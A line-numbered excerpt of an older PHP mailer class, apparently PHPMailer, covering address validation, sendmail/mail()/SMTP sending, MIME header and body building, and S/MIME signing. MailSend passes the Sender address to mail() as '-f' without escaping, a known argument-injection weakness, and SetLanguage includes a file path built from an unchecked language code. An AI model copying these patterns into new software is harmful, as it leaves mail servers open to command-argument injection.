  943. return (boolean)preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  944. }
  945. } else {
  946. return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  947. }
  948. }
  949.  
  950. public function Send() {
  951. try {
  952. if(!$this->PreSend()) return false;
  953. return $this->PostSend();
  954. } catch (phpmailerException $e) {
  955. $this->mailHeader = '';
  956. $this->SetError($e->getMessage());
  957. if ($this->exceptions) {
  958. throw $e;
  959. }
  960. return false;
  961. }
  962. }
  963.  
  964. public function PreSend() {
  965. try {
  966. $this->mailHeader = "";
  967. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  968. throw new phpmailerException($this->Lang('provide_address'), self::STOP_CRITICAL);
  969. }
  970.  
  971. // Set whether the message is multipart/alternative
  972. if(!empty($this->AltBody)) {
  973. $this->ContentType = 'multipart/alternative';
  974. }
  975.  
  976. $this->error_count = 0; // reset errors
  977. $this->SetMessageType();
  978. //Refuse to send an empty message unless we are specifically allowing it
  979. if (!$this->AllowEmpty and empty($this->Body)) {
  980. throw new phpmailerException($this->Lang('empty_message'), self::STOP_CRITICAL);
  981. }
  982.  
  983. $this->MIMEHeader = $this->CreateHeader();
  984. $this->MIMEBody = $this->CreateBody();
  985.  
  986. // To capture the complete message when using mail(), create
  987. // an extra header list which CreateHeader() doesn't fold in
  988. if ($this->Mailer == 'mail') {
  989. if (count($this->to) > 0) {
  990. $this->mailHeader .= $this->AddrAppend("To", $this->to);
  991. } else {
  992. $this->mailHeader .= $this->HeaderLine("To", "undisclosed-recipients:;");
  993. }
  994. $this->mailHeader .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader(trim($this->Subject))));
  995. }
  996.  
  997. // digitally sign with DKIM if enabled
  998. if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) {
  999. $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->EncodeHeader($this->SecureHeader($this->Subject)), $this->MIMEBody);
  1000. $this->MIMEHeader = str_replace("\r\n", "\n", $header_dkim) . $this->MIMEHeader;
  1001. }
  1002.  
  1003. return true;
  1004.  
  1005. } catch (phpmailerException $e) {
  1006. $this->SetError($e->getMessage());
  1007. if ($this->exceptions) {
  1008. throw $e;
  1009. }
  1010. return false;
  1011. }
  1012. }
  1013.  
  1014. public function PostSend() {
  1015. try {
  1016. // Choose the mailer and send through it
  1017. switch($this->Mailer) {
  1018. case 'sendmail':
  1019. return $this->SendmailSend($this->MIMEHeader, $this->MIMEBody);
  1020. case 'smtp':
  1021. return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1022. case 'mail':
  1023. return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
  1024. default:
  1025. return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
  1026. }
  1027. } catch (phpmailerException $e) {
  1028. $this->SetError($e->getMessage());
  1029. if ($this->exceptions) {
  1030. throw $e;
  1031. }
  1032. if ($this->SMTPDebug) {
  1033. $this->edebug($e->getMessage()."\n");
  1034. }
  1035. }
  1036. return false;
  1037. }
  1038.  
  1039. protected function SendmailSend($header, $body) {
  1040. if ($this->Sender != '') {
  1041. $sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1042. } else {
  1043. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1044. }
  1045. if ($this->SingleTo === true) {
  1046. foreach ($this->SingleToArray as $val) {
  1047. if(!@$mail = popen($sendmail, 'w')) {
  1048. throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1049. }
  1050. fputs($mail, "To: " . $val . "\n");
  1051. fputs($mail, $header);
  1052. fputs($mail, $body);
  1053. $result = pclose($mail);
  1054. // implement call back function if it exists
  1055. $isSent = ($result == 0) ? 1 : 0;
  1056. $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
  1057. if($result != 0) {
  1058. throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1059. }
  1060. }
  1061. } else {
  1062. if(!@$mail = popen($sendmail, 'w')) {
  1063. throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1064. }
  1065. fputs($mail, $header);
  1066. fputs($mail, $body);
  1067. $result = pclose($mail);
  1068. // implement call back function if it exists
  1069. $isSent = ($result == 0) ? 1 : 0;
  1070. $this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body);
  1071. if($result != 0) {
  1072. throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1073. }
  1074. }
  1075. return true;
  1076. }
  1077.  
  1078. protected function MailSend($header, $body) {
  1079. $toArr = array();
  1080. foreach($this->to as $t) {
  1081. $toArr[] = $this->AddrFormat($t);
  1082. }
  1083. $to = implode(', ', $toArr);
  1084.  
  1085. if (empty($this->Sender)) {
  1086. $params = " ";
  1087. } else {
  1088. $params = sprintf("-f%s", $this->Sender);
  1089. }
  1090. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1091. $old_from = ini_get('sendmail_from');
  1092. ini_set('sendmail_from', $this->Sender);
  1093. }
  1094. $rt = false;
  1095. if ($this->SingleTo === true && count($toArr) > 1) {
  1096. foreach ($toArr as $val) {
  1097. $rt = $this->mail_passthru($val, $this->Subject, $body, $header, $params);
  1098. // implement call back function if it exists
  1099. $isSent = ($rt == 1) ? 1 : 0;
  1100. $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
  1101. }
  1102. } else {
  1103. $rt = $this->mail_passthru($to, $this->Subject, $body, $header, $params);
  1104. // implement call back function if it exists
  1105. $isSent = ($rt == 1) ? 1 : 0;
  1106. $this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body);
  1107. }
  1108. if (isset($old_from)) {
  1109. ini_set('sendmail_from', $old_from);
  1110. }
  1111. if(!$rt) {
  1112. throw new phpmailerException($this->Lang('instantiate'), self::STOP_CRITICAL);
  1113. }
  1114. return true;
  1115. }
  1116.  
  1117. protected function SmtpSend($header, $body) {
  1118. //require_once $this->PluginDir . 'class.smtp.php';
  1119. $bad_rcpt = array();
  1120.  
  1121. if(!$this->SmtpConnect()) {
  1122. throw new phpmailerException($this->Lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1123. }
  1124. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1125. if(!$this->smtp->Mail($smtp_from)) {
  1126. $this->SetError($this->Lang('from_failed') . $smtp_from . ' : ' .implode(',', $this->smtp->getError()));
  1127. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1128. }
  1129.  
  1130. // Attempt to send attach all recipients
  1131. foreach($this->to as $to) {
  1132. if (!$this->smtp->Recipient($to[0])) {
  1133. $bad_rcpt[] = $to[0];
  1134. // implement call back function if it exists
  1135. $isSent = 0;
  1136. $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
  1137. } else {
  1138. // implement call back function if it exists
  1139. $isSent = 1;
  1140. $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
  1141. }
  1142. }
  1143. foreach($this->cc as $cc) {
  1144. if (!$this->smtp->Recipient($cc[0])) {
  1145. $bad_rcpt[] = $cc[0];
  1146. // implement call back function if it exists
  1147. $isSent = 0;
  1148. $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
  1149. } else {
  1150. // implement call back function if it exists
  1151. $isSent = 1;
  1152. $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
  1153. }
  1154. }
  1155. foreach($this->bcc as $bcc) {
  1156. if (!$this->smtp->Recipient($bcc[0])) {
  1157. $bad_rcpt[] = $bcc[0];
  1158. // implement call back function if it exists
  1159. $isSent = 0;
  1160. $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
  1161. } else {
  1162. // implement call back function if it exists
  1163. $isSent = 1;
  1164. $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
  1165. }
  1166. }
  1167.  
  1168.  
  1169. if (count($bad_rcpt) > 0 ) { //Create error message for any bad addresses
  1170. $badaddresses = implode(', ', $bad_rcpt);
  1171. throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses);
  1172. }
  1173. if(!$this->smtp->Data($header . $body)) {
  1174. throw new phpmailerException($this->Lang('data_not_accepted'), self::STOP_CRITICAL);
  1175. }
  1176. if($this->SMTPKeepAlive == true) {
  1177. $this->smtp->Reset();
  1178. } else {
  1179. $this->smtp->Quit();
  1180. $this->smtp->Close();
  1181. }
  1182. return true;
  1183. }
  1184.  
  1185. public function SmtpConnect($options = array()) {
  1186.  
  1187. if(is_null($this->smtp)) {
  1188. $this->smtp = new SMTP;
  1189. }
  1190.  
  1191. //Already connected?
  1192. if ($this->smtp->Connected()) {
  1193. return true;
  1194. }
  1195.  
  1196. $this->smtp->Timeout = $this->Timeout;
  1197. $this->smtp->do_debug = $this->SMTPDebug;
  1198. $this->smtp->Debugoutput = $this->Debugoutput;
  1199. $this->smtp->do_verp = $this->do_verp;
  1200. $index = 0;
  1201. $tls = ($this->SMTPSecure == 'tls');
  1202. $ssl = ($this->SMTPSecure == 'ssl');
  1203. $hosts = explode(';', $this->Host);
  1204. $lastexception = null;
  1205.  
  1206. foreach ($hosts as $hostentry) {
  1207. $hostinfo = array();
  1208. $host = $hostentry;
  1209. $port = $this->Port;
  1210. if (preg_match('/^(.+):([0-9]+)$/', $hostentry, $hostinfo)) { //If $hostentry contains 'address:port', override default
  1211. $host = $hostinfo[1];
  1212. $port = $hostinfo[2];
  1213. }
  1214. if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout, $options)) {
  1215. try {
  1216. if ($this->Helo) {
  1217. $hello = $this->Helo;
  1218. } else {
  1219. $hello = $this->ServerHostname();
  1220. }
  1221. $this->smtp->Hello($hello);
  1222.  
  1223. if ($tls) {
  1224. if (!$this->smtp->StartTLS()) {
  1225. throw new phpmailerException($this->Lang('connect_host'));
  1226. }
  1227. //We must resend HELO after tls negotiation
  1228. $this->smtp->Hello($hello);
  1229. }
  1230. if ($this->SMTPAuth) {
  1231. if (!$this->smtp->Authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  1232. throw new phpmailerException($this->Lang('authenticate'));
  1233. }
  1234. }
  1235. return true;
  1236. } catch (phpmailerException $e) {
  1237. $lastexception = $e;
  1238. //We must have connected, but then failed TLS or Auth, so close connection nicely
  1239. $this->smtp->Quit();
  1240. }
  1241. }
  1242. }
  1243. //If we get here, all connection attempts have failed, so close connection hard
  1244. $this->smtp->Close();
  1245. //As we've caught all exceptions, just report whatever the last one was
  1246. if ($this->exceptions and !is_null($lastexception)) {
  1247. throw $lastexception;
  1248. }
  1249. return false;
  1250. }
  1251.  
  1252. public function SmtpClose() {
  1253. if ($this->smtp !== null) {
  1254. if($this->smtp->Connected()) {
  1255. $this->smtp->Quit();
  1256. $this->smtp->Close();
  1257. }
  1258. }
  1259. }
  1260.  
  1261. function SetLanguage($langcode = 'en', $lang_path = 'language/') {
  1262. $PHPMAILER_LANG = array(
  1263. 'authenticate' => 'authenticate',
  1264. 'connect_host' => 'connect_host',
  1265. 'data_not_accepted' => 'data_not_accepted',
  1266. 'empty_message' => 'empty_message',
  1267. 'encoding' => 'encoding ',
  1268. 'execute' => 'execute',
  1269. 'file_access' => 'file_access',
  1270. 'file_open' => 'file_open',
  1271. 'from_failed' => 'from_failed',
  1272. 'instantiate' => 'instantiate',
  1273. 'invalid_address' => 'invalid_address',
  1274. 'mailer_not_supported' => 'mailer_not_supported',
  1275. 'provide_address' => 'provide_address',
  1276. 'recipients_failed' => 'recipients_failed',
  1277. 'signing' => 'signing',
  1278. 'smtp_connect_failed' => 'smtp_connect_failed',
  1279. 'smtp_error' => 'smtp_error',
  1280. 'variable_set' => 'variable_set'
  1281. );
  1282. $l = true;
  1283. if ($langcode != 'en') { //There is no English translation file
  1284. $l = @include $lang_path.'phpmailer.lang-'.$langcode.'.php';
  1285. }
  1286. $this->language = $PHPMAILER_LANG;
  1287. return ($l == true); //Returns false if language not found
  1288. }
  1289.  
  1290. public function GetTranslations() {
  1291. return $this->language;
  1292. }
  1293.  
  1294. public function AddrAppend($type, $addr) {
  1295. $addr_str = $type . ': ';
  1296. $addresses = array();
  1297. foreach ($addr as $a) {
  1298. $addresses[] = $this->AddrFormat($a);
  1299. }
  1300. $addr_str .= implode(', ', $addresses);
  1301. $addr_str .= $this->LE;
  1302.  
  1303. return $addr_str;
  1304. }
  1305.  
  1306. public function AddrFormat($addr) {
  1307. if (empty($addr[1])) {
  1308. return $this->SecureHeader($addr[0]);
  1309. } else {
  1310. return $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  1311. }
  1312. }
  1313.  
  1314. public function WrapText($message, $length, $qp_mode = false) {
  1315. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1316. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  1317. $lelen = strlen($this->LE);
  1318. $crlflen = strlen(self::CRLF);
  1319.  
  1320. $message = $this->FixEOL($message);
  1321. if (substr($message, -$lelen) == $this->LE) {
  1322. $message = substr($message, 0, -$lelen);
  1323. }
  1324.  
  1325. $line = explode($this->LE, $message);
  1326. $message = '';
  1327. for ($i = 0 ;$i < count($line); $i++) {
  1328. $line_part = explode(' ', $line[$i]);
  1329. $buf = '';
  1330. for ($e = 0; $e<count($line_part); $e++) {
  1331. $word = $line_part[$e];
  1332. if ($qp_mode and (strlen($word) > $length)) {
  1333. $space_left = $length - strlen($buf) - $crlflen;
  1334. if ($e != 0) {
  1335. if ($space_left > 20) {
  1336. $len = $space_left;
  1337. if ($is_utf8) {
  1338. $len = $this->UTF8CharBoundary($word, $len);
  1339. } elseif (substr($word, $len - 1, 1) == "=") {
  1340. $len--;
  1341. } elseif (substr($word, $len - 2, 1) == "=") {
  1342. $len -= 2;
  1343. }
  1344. $part = substr($word, 0, $len);
  1345. $word = substr($word, $len);
  1346. $buf .= ' ' . $part;
  1347. $message .= $buf . sprintf("=%s", self::CRLF);
  1348. } else {
  1349. $message .= $buf . $soft_break;
  1350. }
  1351. $buf = '';
  1352. }
  1353. while (strlen($word) > 0) {
  1354. if ($length <= 0) {
  1355. break;
  1356. }
  1357. $len = $length;
  1358. if ($is_utf8) {
  1359. $len = $this->UTF8CharBoundary($word, $len);
  1360. } elseif (substr($word, $len - 1, 1) == "=") {
  1361. $len--;
  1362. } elseif (substr($word, $len - 2, 1) == "=") {
  1363. $len -= 2;
  1364. }
  1365. $part = substr($word, 0, $len);
  1366. $word = substr($word, $len);
  1367.  
  1368. if (strlen($word) > 0) {
  1369. $message .= $part . sprintf("=%s", self::CRLF);
  1370. } else {
  1371. $buf = $part;
  1372. }
  1373. }
  1374. } else {
  1375. $buf_o = $buf;
  1376. $buf .= ($e == 0) ? $word : (' ' . $word);
  1377.  
  1378. if (strlen($buf) > $length and $buf_o != '') {
  1379. $message .= $buf_o . $soft_break;
  1380. $buf = $word;
  1381. }
  1382. }
  1383. }
  1384. $message .= $buf . self::CRLF;
  1385. }
  1386.  
  1387. return $message;
  1388. }
  1389.  
  1390. public function UTF8CharBoundary($encodedText, $maxLength) {
  1391. $foundSplitPos = false;
  1392. $lookBack = 3;
  1393. while (!$foundSplitPos) {
  1394. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1395. $encodedCharPos = strpos($lastChunk, "=");
  1396. if ($encodedCharPos !== false) {
  1397. // Found start of encoded character byte within $lookBack block.
  1398. // Check the encoded byte value (the 2 chars after the '=')
  1399. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1400. $dec = hexdec($hex);
  1401. if ($dec < 128) { // Single byte character.
  1402. // If the encoded char was found at pos 0, it will fit
  1403. // otherwise reduce maxLength to start of the encoded char
  1404. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1405. $maxLength - ($lookBack - $encodedCharPos);
  1406. $foundSplitPos = true;
  1407. } elseif ($dec >= 192) { // First byte of a multi byte character
  1408. // Reduce maxLength to split at start of character
  1409. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1410. $foundSplitPos = true;
  1411. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1412. $lookBack += 3;
  1413. }
  1414. } else {
  1415. $foundSplitPos = true;
  1416. }
  1417. }
  1418. return $maxLength;
  1419. }
  1420.  
  1421. public function SetWordWrap() {
  1422. if($this->WordWrap < 1) {
  1423. return;
  1424. }
  1425.  
  1426. switch($this->message_type) {
  1427. case 'alt':
  1428. case 'alt_inline':
  1429. case 'alt_attach':
  1430. case 'alt_inline_attach':
  1431. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1432. break;
  1433. default:
  1434. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1435. break;
  1436. }
  1437. }
  1438.  
  1439. public function CreateHeader() {
  1440. $result = '';
  1441.  
  1442. $uniq_id = md5(uniqid(time()));
  1443. $this->boundary[1] = 'b1_' . $uniq_id;
  1444. $this->boundary[2] = 'b2_' . $uniq_id;
  1445. $this->boundary[3] = 'b3_' . $uniq_id;
  1446.  
  1447. if ($this->MessageDate == '') {
  1448. $result .= $this->HeaderLine('Date', self::RFCDate());
  1449. } else {
  1450. $result .= $this->HeaderLine('Date', $this->MessageDate);
  1451. }
  1452.  
  1453. if ($this->ReturnPath) {
  1454. $result .= $this->HeaderLine('Return-Path', '<'.trim($this->ReturnPath).'>');
  1455. } elseif ($this->Sender == '') {
  1456. $result .= $this->HeaderLine('Return-Path', '<'.trim($this->From).'>');
  1457. } else {
  1458. $result .= $this->HeaderLine('Return-Path', '<'.trim($this->Sender).'>');
  1459. }
  1460.  
  1461. if($this->Mailer != 'mail') {
  1462. if ($this->SingleTo === true) {
  1463. foreach($this->to as $t) {
  1464. $this->SingleToArray[] = $this->AddrFormat($t);
  1465. }
  1466. } else {
  1467. if(count($this->to) > 0) {
  1468. $result .= $this->AddrAppend('To', $this->to);
  1469. } elseif (count($this->cc) == 0) {
  1470. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  1471. }
  1472. }
  1473. }
  1474.  
  1475. $from = array();
  1476. $from[0][0] = trim($this->From);
  1477. $from[0][1] = $this->FromName;
  1478. $result .= $this->AddrAppend('From', $from);
  1479.  
  1480. if(count($this->cc) > 0) {
  1481. $result .= $this->AddrAppend('Cc', $this->cc);
  1482. }
  1483.  
  1484. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  1485. $result .= $this->AddrAppend('Bcc', $this->bcc);
  1486. }
  1487.  
  1488. if(count($this->ReplyTo) > 0) {
  1489. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  1490. }
  1491.  
  1492. // mail() sets the subject itself
  1493. if($this->Mailer != 'mail') {
  1494. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  1495. }
  1496.  
  1497. if($this->MessageID != '') {
  1498. $result .= $this->HeaderLine('Message-ID', $this->MessageID);
  1499. } else {
  1500. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1501. }
  1502. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  1503. if ($this->XMailer == '') {
  1504. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer '.$this->Version.' (https://github.com/PHPMailer/PHPMailer/)');
  1505. } else {
  1506. $myXmailer = trim($this->XMailer);
  1507. if ($myXmailer) {
  1508. $result .= $this->HeaderLine('X-Mailer', $myXmailer);
  1509. }
  1510. }
  1511.  
  1512. if($this->ConfirmReadingTo != '') {
  1513. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1514. }
  1515.  
  1516. // Add custom headers
  1517. for($index = 0; $index < count($this->CustomHeader); $index++) {
  1518. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1519. }
  1520. if (!$this->sign_key_file) {
  1521. $result .= $this->HeaderLine('MIME-Version', '1.0');
  1522. $result .= $this->GetMailMIME();
  1523. }
  1524.  
  1525. return $result;
  1526. }
  1527.  
  1528. public function GetMailMIME() {
  1529. $result = '';
  1530. switch($this->message_type) {
  1531. case 'inline':
  1532. $result .= $this->HeaderLine('Content-Type', 'multipart/related;');
  1533. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"');
  1534. break;
  1535. case 'attach':
  1536. case 'inline_attach':
  1537. case 'alt_attach':
  1538. case 'alt_inline_attach':
  1539. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  1540. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"');
  1541. break;
  1542. case 'alt':
  1543. case 'alt_inline':
  1544. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  1545. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"');
  1546. break;
  1547. default:
  1548. // Catches case 'plain': and case '':
  1549. $result .= $this->TextLine('Content-Type: '.$this->ContentType.'; charset='.$this->CharSet);
  1550. break;
  1551. }
  1552. //RFC1341 part 5 says 7bit is assumed if not specified
  1553. if ($this->Encoding != '7bit') {
  1554. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  1555. }
  1556.  
  1557. if($this->Mailer != 'mail') {
  1558. $result .= $this->LE;
  1559. }
  1560.  
  1561. return $result;
  1562. }
  1563.  
  1564. public function GetSentMIMEMessage() {
  1565. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1566. }
  1567.  
  1568. public function CreateBody() {
  1569. $body = '';
  1570.  
  1571. if ($this->sign_key_file) {
  1572. $body .= $this->GetMailMIME().$this->LE;
  1573. }
  1574.  
  1575. $this->SetWordWrap();
  1576.  
  1577. switch($this->message_type) {
  1578. case 'inline':
  1579. $body .= $this->GetBoundary($this->boundary[1], '', '', '');
  1580. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1581. $body .= $this->LE.$this->LE;
  1582. $body .= $this->AttachAll('inline', $this->boundary[1]);
  1583. break;
  1584. case 'attach':
  1585. $body .= $this->GetBoundary($this->boundary[1], '', '', '');
  1586. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1587. $body .= $this->LE.$this->LE;
  1588. $body .= $this->AttachAll('attachment', $this->boundary[1]);
  1589. break;
  1590. case 'inline_attach':
  1591. $body .= $this->TextLine('--' . $this->boundary[1]);
  1592. $body .= $this->HeaderLine('Content-Type', 'multipart/related;');
  1593. $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
  1594. $body .= $this->LE;
  1595. $body .= $this->GetBoundary($this->boundary[2], '', '', '');
  1596. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1597. $body .= $this->LE.$this->LE;
  1598. $body .= $this->AttachAll('inline', $this->boundary[2]);
  1599. $body .= $this->LE;
  1600. $body .= $this->AttachAll('attachment', $this->boundary[1]);
  1601. break;
  1602. case 'alt':
  1603. $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  1604. $body .= $this->EncodeString($this->AltBody, $this->Encoding);
  1605. $body .= $this->LE.$this->LE;
  1606. $body .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  1607. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1608. $body .= $this->LE.$this->LE;
  1609. if(!empty($this->Ical)) {
  1610. $body .= $this->GetBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1611. $body .= $this->EncodeString($this->Ical, $this->Encoding);
  1612. $body .= $this->LE.$this->LE;
  1613. }
  1614. $body .= $this->EndBoundary($this->boundary[1]);
  1615. break;
  1616. case 'alt_inline':
  1617. $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  1618. $body .= $this->EncodeString($this->AltBody, $this->Encoding);
  1619. $body .= $this->LE.$this->LE;
  1620. $body .= $this->TextLine('--' . $this->boundary[1]);
  1621. $body .= $this->HeaderLine('Content-Type', 'multipart/related;');
  1622. $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
  1623. $body .= $this->LE;
  1624. $body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
  1625. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1626. $body .= $this->LE.$this->LE;
  1627. $body .= $this->AttachAll('inline', $this->boundary[2]);
  1628. $body .= $this->LE;
  1629. $body .= $this->EndBoundary($this->boundary[1]);
  1630. break;
  1631. case 'alt_attach':
  1632. $body .= $this->TextLine('--' . $this->boundary[1]);
  1633. $body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  1634. $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
  1635. $body .= $this->LE;
  1636. $body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
  1637. $body .= $this->EncodeString($this->AltBody, $this->Encoding);
  1638. $body .= $this->LE.$this->LE;
  1639. $body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
  1640. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1641. $body .= $this->LE.$this->LE;
  1642. $body .= $this->EndBoundary($this->boundary[2]);
  1643. $body .= $this->LE;
  1644. $body .= $this->AttachAll('attachment', $this->boundary[1]);
  1645. break;
  1646. case 'alt_inline_attach':
  1647. $body .= $this->TextLine('--' . $this->boundary[1]);
  1648. $body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  1649. $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
  1650. $body .= $this->LE;
  1651. $body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
  1652. $body .= $this->EncodeString($this->AltBody, $this->Encoding);
  1653. $body .= $this->LE.$this->LE;
  1654. $body .= $this->TextLine('--' . $this->boundary[2]);
  1655. $body .= $this->HeaderLine('Content-Type', 'multipart/related;');
  1656. $body .= $this->TextLine("\tboundary=\"" . $this->boundary[3].'"');
  1657. $body .= $this->LE;
  1658. $body .= $this->GetBoundary($this->boundary[3], '', 'text/html', '');
  1659. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1660. $body .= $this->LE.$this->LE;
  1661. $body .= $this->AttachAll('inline', $this->boundary[3]);
  1662. $body .= $this->LE;
  1663. $body .= $this->EndBoundary($this->boundary[2]);
  1664. $body .= $this->LE;
  1665. $body .= $this->AttachAll('attachment', $this->boundary[1]);
  1666. break;
  1667. default:
  1668. // catch case 'plain' and case ''
  1669. $body .= $this->EncodeString($this->Body, $this->Encoding);
  1670. break;
  1671. }
  1672.  
  1673. if ($this->IsError()) {
  1674. $body = '';
  1675. } elseif ($this->sign_key_file) {
  1676. try {
  1677. if (!defined('PKCS7_TEXT')) {
  1678. throw new phpmailerException($this->Lang('signing').' OpenSSL extension missing.');
  1679. }
  1680. $file = tempnam(sys_get_temp_dir(), 'mail');
  1681. file_put_contents($file, $body); //TODO check this worked
  1682. $signed = tempnam(sys_get_temp_dir(), 'signed');
  1683. if (@openssl_pkcs7_sign($file, $signed, 'file://'.realpath($this->sign_cert_file), array('file://'.realpath($this->sign_key_file), $this->sign_key_pass), null)) {
  1684. @unlink($file);
  1685. $body = file_get_contents($signed);
  1686. @unlink($signed);
  1687. } else {
  1688. @unlink($file);
  1689. @unlink($signed);
  1690. throw new phpmailerException($this->Lang('signing').openssl_error_string());
  1691. }
  1692. } catch (phpmailerException $e) {
  1693. $body = '';
  1694. if ($this->exceptions) {
  1695. throw $e;
  1696. }
  1697. }
  1698. }
  1699. return $body;
  1700. }
  1701.  
  1702. protected function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  1703. $result = '';
  1704. if($charSet == '') {
  1705. $charSet = $this->CharSet;
  1706. }
  1707. if($contentType == '') {
  1708. $contentType = $this->ContentType;
  1709. }
  1710. if($encoding == '') {
  1711. $encoding = $this->Encoding;
  1712. }
  1713. $result .= $this->TextLine('--' . $boundary);
  1714. $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet);
  1715. $result .= $this->LE;
